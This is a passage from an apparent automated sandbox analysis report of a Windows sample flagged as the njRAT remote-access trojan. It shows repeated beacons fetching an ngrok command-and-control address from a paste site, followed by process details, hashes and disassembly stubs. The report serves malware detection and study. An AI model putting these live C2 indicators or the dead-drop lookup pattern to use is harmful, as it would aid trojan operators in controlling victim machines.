2023-11-23 00:10:07 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:07 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49754	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:11 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:10:11 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 31 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:11 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49757	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:15 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:15 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 31 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:15 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49759	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:18 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:19 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 31 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:19 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49761	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:22 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:23 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 32 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:23 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49763	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:26 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:27 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:27 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49765	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:31 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:31 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:31 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Statistics

CPU Usage

• bRMW.exe

Click to jump to process

Memory Usage

• bRMW.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry
• Network

Click to dive into process behavior distribution

System Behavior

Analysis Process: bRMW.exePID: 2748, Parent PID: 1028

Function Logs

General

Target ID:	0
Start time:	01:08:51
Start date:	23/11/2023
Path:	C:\Users\user\Desktop\bRMW.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\bRMW.exe
Imagebase:	0xff0000
File size:	27'136 bytes
MD5 hash:	FA139AE9C858237134267631FAEA725B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

File Activities

File Opened

File Created

File Read

File Attributes Queried

Other File Operations

Device IO

Show Windows behavior

Section Activities

Sections loaded by Windows

Sections loaded by Program

Show Windows behavior

Registry Activities

Key Opened

Key Created

Key Value Created

Key Value Queried

Key Monitored

Key Value Enumerated

Key Enumerated

COM Activities

COM Object Queried

Show Windows behavior

Mutex Activities

Mutex Created

Show Windows behavior

Process Activities

Process Queried

Process Information Set

Show Windows behavior

Thread Activities

Thread Created

Thread APC Queued

Thread Execution Resumed

Thread Execution Suspended

Thread Delayed

Thread Information Set

Show Windows behavior

Memory Activities

Memory Allocated

Memory Protection Changed

Memory Usage Statistics

Show Windows behavior

System Activities

Language or Locale ID Queried

System Information Queried

Show Windows behavior

Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Windows UI Activities

Window Created

Network Activities

Socket bound

Socket connected

Show Windows behavior

Process Token Activities

Token Adjusted

Show Windows behavior

LPC Port Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Chronological Activities

Disassembly

Analysis Process: bRMW.exePID: 2748, Parent PID: 1028COMMON

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Show Legend

Hide Nodes/Edges

Executed Functions

Function 031DDBF0 Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d55c870b323b09e715f32e2c644a8da1465b99abbc471a843b592c1619c4401
Instruction ID: 1916842e862d74b60a01b7f8aad510bb146114cba4e2f3d92f71fc07fc1bac67
Opcode Fuzzy Hash: 7d55c870b323b09e715f32e2c644a8da1465b99abbc471a843b592c1619c4401
Instruction Fuzzy Hash: 5D527D31A00619CFCB14CF68C884AAEB7B6FF4A304F5584A9E919AB251D770FD85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 031D8208 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 031D828F

Strings

`W), xrefs: 031D8227

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID: DuplicateHandle
String ID: `W)
API String ID: 3793708945-2584524621
Opcode ID: ab009985a5854fc5e979d39f2080daaec770ceb1d7b870f0fcac0f641a75189d
Instruction ID: d8a81862d568ade5b37c133379057c950601e01a9925ffb6cf893b62563b65ac
Opcode Fuzzy Hash: ab009985a5854fc5e979d39f2080daaec770ceb1d7b870f0fcac0f641a75189d
Instruction Fuzzy Hash: 4221C4B59002489FDB10CFAAD984ADEFBF9FB48310F14841AE918A3350D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 031D8200 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 031D828F

Strings

`W), xrefs: 031D8227

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID: DuplicateHandle
String ID: `W)
API String ID: 3793708945-2584524621
Opcode ID: d26425a3b9b937a9874e0205115dcf7101c5cff18dbc4491aaee873e3dbc57aa
Instruction ID: 9aa8a727e56a3023a6d70b564ae5459b2bdedc12ef2e5203846d13c317501f74
Opcode Fuzzy Hash: d26425a3b9b937a9874e0205115dcf7101c5cff18dbc4491aaee873e3dbc57aa
Instruction Fuzzy Hash: 6B21B3B5D002099FDB10CFAAD585AEEBBF5FB48310F14845AE918A3250D378AA54CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 031D3B40 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 031D3B62

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 848efd90c01adcb90ad547bc22ee76d81e87af0c13a4de6f7e9ad95f4197d966
Instruction ID: 373925bf3f327ffe14223abb24df60621ac5eec927c57427261715c7a5b03ea0
Opcode Fuzzy Hash: 848efd90c01adcb90ad547bc22ee76d81e87af0c13a4de6f7e9ad95f4197d966
Instruction Fuzzy Hash: C541A336B006268FCB04EB39D8845ADF7B6BFC8301B09C636D46997294DB389D81DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 031D3B30 Relevance: 1.6, APIs: 1, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 031D3B62

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6381e664bd5525ed0fcbada9e842d8374fcc52cd5f3245b38ccc9bba626608b9
Instruction ID: 6d3bad0d3bdc981e92d05d185b1682d23f4f329f7d3c9068dd71baaaf67e46e6
Opcode Fuzzy Hash: 6381e664bd5525ed0fcbada9e842d8374fcc52cd5f3245b38ccc9bba626608b9
Instruction Fuzzy Hash: 7B41C636B00A269FCB08DB35D8846ADF7B6BF88301F09C625D46897394DB389D81D7D1

Uniqueness

Uniqueness Score: -1.00%

Function 018ED3C8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453068293.00000000018ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 018ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18ed000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a47d5820745910a10b7651220a986efef66d91da1db6a0edf1b6a537d45140
Instruction ID: dc7c724f6fff62b7c14bb14982896c86f95be214a3427ac20dbcde900461298e
Opcode Fuzzy Hash: 12a47d5820745910a10b7651220a986efef66d91da1db6a0edf1b6a537d45140
Instruction Fuzzy Hash: 38214571100204DFDB15DF58D9C8F66BFA5FBA9318F20C669E9098B256C33AE50AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 018ED4B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453068293.00000000018ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 018ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18ed000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd20ac45343437b4686cf0f04bf70879337279125fde0c6f7b2e3bea5a7ffedc
Instruction ID: 2258e307af582f5b2d0c7fcd3a2c8b1c94f187d108adaa64af79815aba0ded73
Opcode Fuzzy Hash: dd20ac45343437b4686cf0f04bf70879337279125fde0c6f7b2e3bea5a7ffedc
Instruction Fuzzy Hash: CA214871500204DFDB05DF58D9C4F26BFA5FB99318F20C669E9094B256C33AD54ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 030AD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453163527.00000000030AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ad000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f6db000d986f2608de556c42497ea66d6c3a40f66f8c553f2bdcb4cc802ee9
Instruction ID: ba1f3e589bc2f0a2ed26d53aaff8793776c4eab4d474b47aae0ddece52bf2ecb
Opcode Fuzzy Hash: 69f6db000d986f2608de556c42497ea66d6c3a40f66f8c553f2bdcb4cc802ee9
Instruction Fuzzy Hash: AE212271604600DFCB14DFA8E990F26BFA9FB88314F24C9A9D90A4B656C33AD407DA61

Uniqueness

Uniqueness Score: -1.00%

Function 030AD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453163527.00000000030AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ad000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1331f7ba7a7ad2c166971555b5a4942fe920e9fc75e5f499419a1e191bca6b
Instruction ID: cdba7a6d0fb7e23bd8452ebe74f5feef1876af19518732f08d8c0d7b54c8898f
Opcode Fuzzy Hash: 3e1331f7ba7a7ad2c166971555b5a4942fe920e9fc75e5f499419a1e191bca6b
Instruction Fuzzy Hash: 5021C5714087809FCB02CF54D994B11BFB1EF46314F28C5DAD8498F6A7C33A9806DB62

Uniqueness

Uniqueness Score: -1.00%

Function 018ED3C3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453068293.00000000018ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 018ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18ed000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 55e85e9f165e87843967eb1f6ba2afb296445fb1b1014dc3270f0edd30b1dba0
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 5D113372400240CFCB02CF04C5C8B56BFB2FB94324F24C6A9E8094B217C336E41ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 018ED4AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453068293.00000000018ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 018ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18ed000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 84a7235bdc17cc8e0eab5d25975e8280582a0a10e7006a4f1eb2b820d0c04bf0
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 20110376404280CFCB02CF54D9C4B16BFB1FB88314F24C6A9E9094B257C336D55ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 031D4810 Relevance: 4.1, Strings: 3, Instructions: 340COMMON

Download Yara Rule

Strings

$]q, xrefs: 031D4836
Xaq, xrefs: 031D484F
`W), xrefs: 031D4BD2

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID:
String ID: Xaq$`W)$$]q
API String ID: 0-2726260255
Opcode ID: f5cdfb790e20461b752dba1008996ea33bd3394a630400cec042ecbe32ce72e9
Instruction ID: f41fe42a314dd31b7300442fba3be248cab67540f011c93ddab892705699b2b7
Opcode Fuzzy Hash: f5cdfb790e20461b752dba1008996ea33bd3394a630400cec042ecbe32ce72e9
Instruction Fuzzy Hash: E9C1D375B002188FCB18EF7994546AFBBB6BF89700F15842AD447E7388DF389841CB96

Uniqueness

Uniqueness Score: -1.00%

Function 031DF290 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4453359957.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31d0000_bRMW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba5451d4a5b3bf2ee44f0bbd912b71415a1bba40f4bcafe71b97df14d4075312
Instruction ID: d6cf04e8529c1965da83a44317274de3f82643fa9683b9f009d5696f89215a77
Opcode Fuzzy Hash: ba5451d4a5b3bf2ee44f0bbd912b71415a1bba40f4bcafe71b97df14d4075312
Instruction Fuzzy Hash: 46A16036E003159FCF19DFB5D84459EBBB2FF8A300B15856AE806AF251DB31EA46CB40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
